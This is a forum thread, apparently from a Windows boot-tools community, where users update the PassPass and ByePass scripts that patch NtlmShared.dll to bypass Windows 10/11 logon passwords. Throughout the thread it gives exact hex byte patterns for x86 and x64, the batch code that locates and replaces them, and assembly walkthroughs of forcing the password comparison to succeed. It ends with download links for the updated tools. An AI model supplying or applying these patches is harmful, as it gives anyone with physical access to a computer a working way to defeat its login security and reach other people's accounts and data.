The new passpass looks for the new byte sequence if win10 is detected.
If the new sequence is not found then it uses older byte sequence.
passpass now displays the full version number of the detected windows OS too.
Posted 05 August 2021 - 09:46 AM
The new passpass looks for the new byte sequence if win10 is detected.
If the new sequence is not found then it uses older byte sequence.
passpass now displays the full version number of the detected windows OS too.
Posted 05 August 2021 - 11:26 AM
Maybe stupid question/doubt, but is this "universal" for all (stupid) Windows 10 (stupid) versions?
Or this is for latest-latest only?
Maybe I didn't understand the question, but in my patch post I referenced which versions of Windows 10 are covered - where the same DLL is used across versions 20H1 (2004) through 21H1. Specifically, the DLL states v10.0.19041.1, which would be version 2004, build 19041. So, all versions of Windows 10 since May 2020 are using the same across the board.
Edited by ner0, 05 August 2021 - 11:28 AM.
Posted 05 August 2021 - 03:12 PM
@ner0
I will try to rephrase the question.
You (ner0) posted this list:
1703 (Creators Update)
1709 (Fall Creators Update)
1803 (April 2018 Update)
1809 (October 2018 Update)
1903 (May 2019 Update)
1909 (November 2019 Update)
2004 (May 2020 Update)
list of versions.
Then you posted (thanks) a working patch sequence stating that it is valid for:
Windows 10 Pro (x64) v20H1/v20H2/v21H1
(that are nowhere to be found in the above list).
In a perfect world a reader not familiar with (stupid) Windows 10 and its (stupid) versions naming should be able to find the "right" sequence for each version, but if we continue to name things with different names (i.e. 2004 vs. 20H1 that you just explained) this is very difficult/prone to errors.
Can we have a table with:
1) versions
2) patch sequence
?
And know how this (or that) version is detected by the passpass or by other means?
@Steve3675
You mean the PassPass fork you include in e2b, would it be too much to ask you to make available a "plain", "non-e2b-linked", updated PassPass script?
Wonko
Posted 05 August 2021 - 03:35 PM
@ner0
I will try to rephrase the question.
You (ner0) posted this list:
1703 (Creators Update)
1709 (Fall Creators Update)
1803 (April 2018 Update)
1809 (October 2018 Update)
1903 (May 2019 Update)
1909 (November 2019 Update)
2004 (May 2020 Update)
list of versions.
Then you posted (thanks) a working patch sequence stating that it is valid for:
Windows 10 Pro (x64) v20H1/v20H2/v21H1
(that are nowhere to be found in the above list).
In a perfect world a reader not familiar with (stupid) Windows 10 and its (stupid) versions naming should be able to find the "right" sequence for each version, but if we continue to name things with different names (i.e. 2004 vs. 20H1 that you just explained) this is very difficult/prone to errors.
I think I understand your confusion, you should have dismissed the list in my initial comment because it was obviously speculative: according to Wikipedia, it might have changed in one of these releases
The correct list for the patch I posted is, once again, Windows 10 Pro (x64) v20H1 v2004 / v20H2 / v21H1. At the DLL level, the version is v10.0.19041.1. So, in sum, it's not universal, something which you already knew because v1607 (build 14393) had multiple different patch sequences (which can be found on page 14 of this topic).
In any case, I think the effort to document these might be useful, although personally the forum is documentation enough and as far as I'm concerned I think that if someone can't discern the versioning used by the binaries supposed to be patched there's no need for documenting something that will escape basic understanding, against the naive assumption that Windows 10 is a static OS as was mostly the case with its predecessors.
Posted 05 August 2021 - 03:40 PM
Posted 05 August 2021 - 05:07 PM
Ok.
38 MB download to extract three snippets.
if "%majmin%"=="5.0" set os=2000 (%version%) if "%majmin%"=="5.1" set os=XP (%version%) if "%majmin%"=="5.2" set os=XP64/Svr 2003 (%version%) if "%majmin%"=="6.0" set os=Vista/Sv2008 (%version%) if "%majmin%"=="6.1" set os=7/Svr2008 R2 (%version%) if "%majmin%"=="6.2" set os=8/Svr2012 (%version%) if "%majmin%"=="6.3" set os=8.1/Svr2012 R2 (%version%) if "%version:~0,4%"=="10.0" set os=10.0/Svr2016 (%version%) && set dll=NtlmShared.dll && set majmin=%version:~0,4%
:32BitPatch set patt=\x83\xF8\x10 set rpatt=\x33\xC0\x90 if "%majmin%"=="6.2" set patt=\x3b\xc6\x75\x13 && set rpatt=\x33\xc0\x75\x13 if "%majmin%"=="6.3" set patt=\x4d\x3b\xc6\x0F\x85 && set rpatt=\x4d\x33\xc0\x0F\x85 if "%majmin%"=="10.0" set patt=\xC6\x0F\x84\x63\xFB\xFF\xFF && set rpatt=\xC6\xE9\x64\xFB\xFF\xFF\x90 if "%majmin%"=="10.0" cat --locate=%patt% --number=1 %dllPath% > nul && set majmin=10.0a if "%majmin%"=="10.0" cat --locate=%rpatt% --number=1 %dllPath% > nul && set majmin=10.0a if "%majmin%"=="10.0" set patt=\xC7\x0F\x85\x98\xFB\xFF\xFF && set rpatt=\xC7\x90\x90\x90\x90\x85\xc0 echo 32-Bit Win%majmin% - Patch bytes %patt% with %rpatt%
:64BitPatch set patt=\x48\x3B\xC6\x0F\x85 set rpatt=\x33\xC0\x90\x0F\x85 if "%majmin%"=="6.2" set patt=\x49\x3B\xC6\x0F\x85 && set rpatt=\x33\xC0\x90\x0F\x85 if "%majmin%"=="6.3" set patt=\x49\x3B\xC6\x0F\x85 && set rpatt=\x33\xC0\x90\x0F\x85 if "%majmin%"=="10.0" set patt=\x0F\x84\xBA\xFA\xFF\xFF && set rpatt=\xE9\xBB\xFA\xFF\xFF\x90 if "%majmin%"=="10.0" cat --locate=%patt% --number=1 %dllPath% > nul && set majmin=10.0a if "%majmin%"=="10.0" cat --locate=%rpatt% --number=1 %dllPath% > nul && set majmin=10.0a if "%majmin%"=="10.0" set patt=\xC6\x0F\x85\x18\xFB\xFF\xFF && set rpatt=\xC6\x90\x90\x90\x90\x85\xc0 echo 64-Bit Win%majmin% - Patch bytes %patt% with %rpatt% goto :DoPatch
How exactly the PassPass detects the Windows 10 version remains a mistery (to me at least).
From what I can understand all Windows 10 is 10.0 until it is (artificially) divided into 10.0 and 10.0a based on the string found or not found in .dll.
Wonko
Posted 05 August 2021 - 05:17 PM
Posted 05 August 2021 - 05:33 PM
Yep
It is IMHO an exceptionally ugly workaround, I know you are perfectly aware of this , as basically it "inverts" the sequence of versions, no issues whatever since it works, but maybe a couple comment lines, you know the ones starting with # would be useful.
#here we set the patch code for the latest (which?) Windows 10 version
if "%majmin%"=="10.0" set patt=\x0F\x84\xBA\xFA\xFF\xFF && set rpatt=\xE9\xBB\xFA\xFF\xFF\x90
#here we test if the .dll contains the code of the latest (which?) Windows 10 version
#if we find it then we promote this to version 10.0a (that we just invented) making following condiitional checks for 10.0 false
if "%majmin%"=="10.0" cat --locate=%patt% --number=1 %dllPath% > nul && set majmin=10.0a
if "%majmin%"=="10.0" cat --locate=%rpatt% --number=1 %dllPath% > nul && set majmin=10.0a
#here we set the patch for earlier (which?) Windows 10.0 versions
if "%majmin%"=="10.0" set patt=\xC6\x0F\x85\x18\xFB\xFF\xFF && set rpatt=\xC6\x90\x90\x90\x90\x85\xc0
Wonko
Posted 05 August 2021 - 06:11 PM
As the issue seems now solved, I suggest to attach the full new PassPass version to a post (or on Downloads Section) for future readers convenience.
alacran
Posted 06 August 2021 - 10:27 PM
Taking a second look at the patch I posted, I realize that it has a major downside even though it works in this particular instance. That realization is not new though, it is something that I forgot from 2016 when updating the patching mechanism to bring Windows 10 compatibility to PassPass.
In assembly language, targeting a conditional jump instead of an operation that precedes such jump makes it so that with each new iteration of the DLL, regardless if the password validation scheme remains exactly the same across releases, the target address of the jump will change ever so slightly, and invariably so will the hex pattern for patching. This means that every new DLL will need a new hex pattern.
Until now we had a Windows 10 patching pattern that was working solidly for every version; well... at least the few versions we tested it on. The problem is that, although the previously known hex pattern is still valid in 21H1 and is very much used in the same way as before, Microsoft introduced an additional operation that shifts the byte order and breaks it. Here is an example of how the assembly code worked as far back as 2016:
call cs:RtlCompareMemory cmp rax, r14 jz loc_180008EF5
In the 3rd line, to bypass the password check we need to always make that jump (jump-if-zero). Originally the logic sets a condition in relation to the previous instruction, comparing rax register ("variable") to r14 register ("variable") and if the result of that comparison is 0 (equal) then it jumps to the instructions starting at address 180008EF5 (valid password routine). Previously we would replace the 2nd line of that example with a simple 2 byte long instruction: xor eax, eax which basically sets eax to 0 and then the 3rd line would always go through as if the password was valid. Since this stopped working, due to a new operation that didn't exist, I decided to make the jump unconditionally. Although that remedied the situation for this specific DLL, that's where we create a dependency on the offset 180008EF5 which will be different in a new DLL, even if the validation mechanism stays exactly the same over time.
Here's an example of the current original assembly code used:
call cs:RtlCompareMemory nop dword ptr [rax+rax+00h] cmp rax, r14 jz loc_180008EF5
The new addition of the 2nd line is clear. "Removing" the 2nd line and applying the previous method seems to yield a positive result though. It seems that the purpose of the 2nd line is to make sure that a/n xor operation in the 3rd line will not set the eax register ("variable") to zero and will instead either null or shift the bytes so that the validation bypass doesn't go through as it did before.
So far I experimented exclusively in this area of the code and was successful in ensuring that it works and retains the code structure in an attempt to preserve a working method for backward and forward compatibility. I am not entirely sure that this method is really "future-proof" or even backward compatible, even with potentially similar code in previous iterations of the DLL, but I'll still post it here for reference. Firstly, the new assembly code (relative to lines 2 and 3 of the previous snippet):
call cs:RtlCompareMemory nop nop nop nop nop nop xor eax, eax jz loc_180008EF5
This takes the following hex form (NtlmShared.dll v10.0.19041.1 x64):
I'm hesitant about x86 because I only have the DLL and not testing system, but this should be analogous:
Personally, I feel inclined to prefer this approach as it technically has the highest probability to be compatible with other similar versions of the validation routine as it is now in Windows 10 v21H1.
Edited by ner0, 06 August 2021 - 10:46 PM.
Posted 06 August 2021 - 10:49 PM
Nice to know, thanks for the feedback.
Win10 still has an unreleased 21H2 update, but seeing the implementation in WIndows 11 is a good indicator that this approach might be better suited.
Posted 06 August 2021 - 11:01 PM
Is your x86 new patch correct? Isn't it still testing for the specific jz offset?
unpatched x86 code:
loc_10007CA0:
push 10h
pop esi
push esi ; Length
lea eax, [ebx+34h]
push eax ; Source2
push edi ; Source1
call ds:__imp__RtlCompareMemory@12 ; RtlCompareMemory(x,x,x)
cmp eax, esi
jz loc_1000781A
This seems difficult to match any search pattern to because the call and the jz bytes will change between versions???
Posted 06 August 2021 - 11:14 PM
I'm not sure that it's correct as I've stated, but the code you pasted is certainly not patched.
This is the patched result (an yes, the jz condition is supposed to stay intact):
loc_10007CA0: push 10h pop esi push esi ; Length lea eax, [ebx+34h] push eax ; Source2 push edi ; Source1 call ds:RtlCompareMemory xor eax, eax jz loc_1000781A
Essentially, as everything else, it goes from a comparison of two given registers to a comparison of 0==0 (xor eax, eax)
This seems difficult to match any search pattern to because the call and the jz bytes will change between versions???
The call is not part of the pattern, only the cmp instruction and part of the jz
Edited by ner0, 06 August 2021 - 11:18 PM.
Posted 06 August 2021 - 11:20 PM
Yes, your patch will work, but the problem is that it is assuming a specific jump offset
Original pattern: 3B C6 0F 84 63 FB FF FF
Patched pattern: 33 C0 0F 84 63 FB FF FF
Wont the part in red change from version to version?
Posted 06 August 2021 - 11:24 PM
You are most certainly right.
This might be a possibility for x86:
57 FF 15 98 B1 00 10 3B C6 0F
57 FF 15 98 B1 00 10 33 C0 0F
Edited by ner0, 06 August 2021 - 11:37 PM.
Posted 06 August 2021 - 11:49 PM
but 1000B198 is the specific address of the RtlCompareMemory subroutine/
The 4 byte pattern
3B C6 0F 84
only has two occurrences in the x86 DLL, which is
cmp eax, esi
jz
changing the bytes to
33 C0 0F 84
xor eax, eax
jz
may work, but it would change both places in the DLL?
10007B56 (not wanted) and 10007CAF (wanted)
Posted 06 August 2021 - 11:56 PM
Yes, we wouldn't want to change anything else beside the intended instruction.
I think the suggested
57 FF 15 98 B1 00 10 3B C6 0F
is a good candidate
This shouldn't change unless Microsoft changes the routine:
57 push edi
FF15 98B10010 call dword ptr ds:[<&RtlCompareMemory>]
3BC6 cmp eax,esi
0F84 63FBFFFF je ntlmshared_v10.0.19041.1_x86.78FC781A
Side note: Apparently, Windows 11 will not support x86 systems.
Edited by ner0, 07 August 2021 - 12:06 AM.
Posted 07 August 2021 - 12:09 AM
So
FF15 98B10010 call dword ptr ds:[<&RtlCompareMemory>]
will not change between versions?
isn't 1000B198 where the address of the subroutine is stored?
won't it change?
It seems to be where the address of the subroutine is stored in the data area which follows the code.
(I don't know enough about the code - i'm just asking...)
Posted 07 August 2021 - 12:19 AM
Yes, you are right, it will change.
On one hand I don't care enough about x86, on the other hand it seems that the old patch also had multiple matches for the given pattern, did it patch them all? Don't remember, so then use the same approach and fingers crossed!
http://reboot.pro/in...=18588&p=218943
Edited by ner0, 07 August 2021 - 12:21 AM.
Posted 07 August 2021 - 08:01 AM
There are 4 occurrences of the new 64-bit byte pattern in Win11 NtlmShared.dll, but it seems to work OK when I patch them all. Win10 19041.1023 dll (Win10 reports version as 19042.1110) also 4 occurrences and woks OK.
Win10 x86 1909 10.0.18362.476 - 2 instances - works OK.
32bit
if "%majmin%"=="10.0" set patt=\xC7\x0F\x85\x98\xFB\xFF\xFF && set rpatt=\xC7\x90\x90\x90\x90\x85\xc0
if "%majmin%"=="10.0" cat --locate=%patt% --number=1 %dllPath% > nul && set majmin=10.0a
if "%majmin%"=="10.0" cat --locate=%rpatt% --number=1 %dllPath% > nul && set majmin=10.0a
#try latest win10 byte pattern (small sequence - maybe more than one match)
if "%majmin%"=="10.0" set patt=\x3B\xC6\x0F\x84 && set rpatt=\x33\xC0\x0F\x84
64bit
if "%majmin%"=="10.0" set patt=\x0F\x1F\x44\x00\x00\x49\x3B\xC6 && set rpatt=\x90\x90\x90\x90\x90\x90\x33\xC0
if "%majmin%"=="10.0" cat --locate=%patt% --number=1 %dllPath% > nul && set majmin=10.0a
if "%majmin%"=="10.0" cat --locate=%rpatt% --number=1 %dllPath% > nul && set majmin=10.0a
if "%majmin%"=="10.0" set patt=\xC6\x0F\x85\x18\xFB\xFF\xFF && set rpatt=\xC6\x90\x90\x90\x90\x85\xc0
I will update E2B/PassPass again.
Many thanks for your help.
Posted 07 August 2021 - 04:32 PM
I updated my own batch script version, ByePass v1.0.3 below with the support for newer Windows 10/Server 2012-2016 OS.
Posted 07 August 2021 - 08:39 PM
For updated PEPassPass to v1.2.2, see this post:
Updated PEPassPass to v1.2.2, integrating the new patching support for latest Windows 10 versions.
I still can't figure out how to attach files on this forum, so get it here: https://mega.nz/file...ewrKfuy3eafnT2s
alacran
Posted 07 August 2021 - 09:27 PM
I updated my own batch script version, ByePass v1.0.3 below with the support for newer Windows 10/Server
2012-20162016-2019 OS.
Spoiler
I mistakenly typed Windows Server 2012-2016 when in fact I meant Windows Server 2016-2019.
Posted 08 August 2021 - 07:42 AM
As a temporary workaround to the upload issue by ner0 I attached the file as ByePass103.zip file to his post.
Wonko
0 members, 1 guests, 0 anonymous users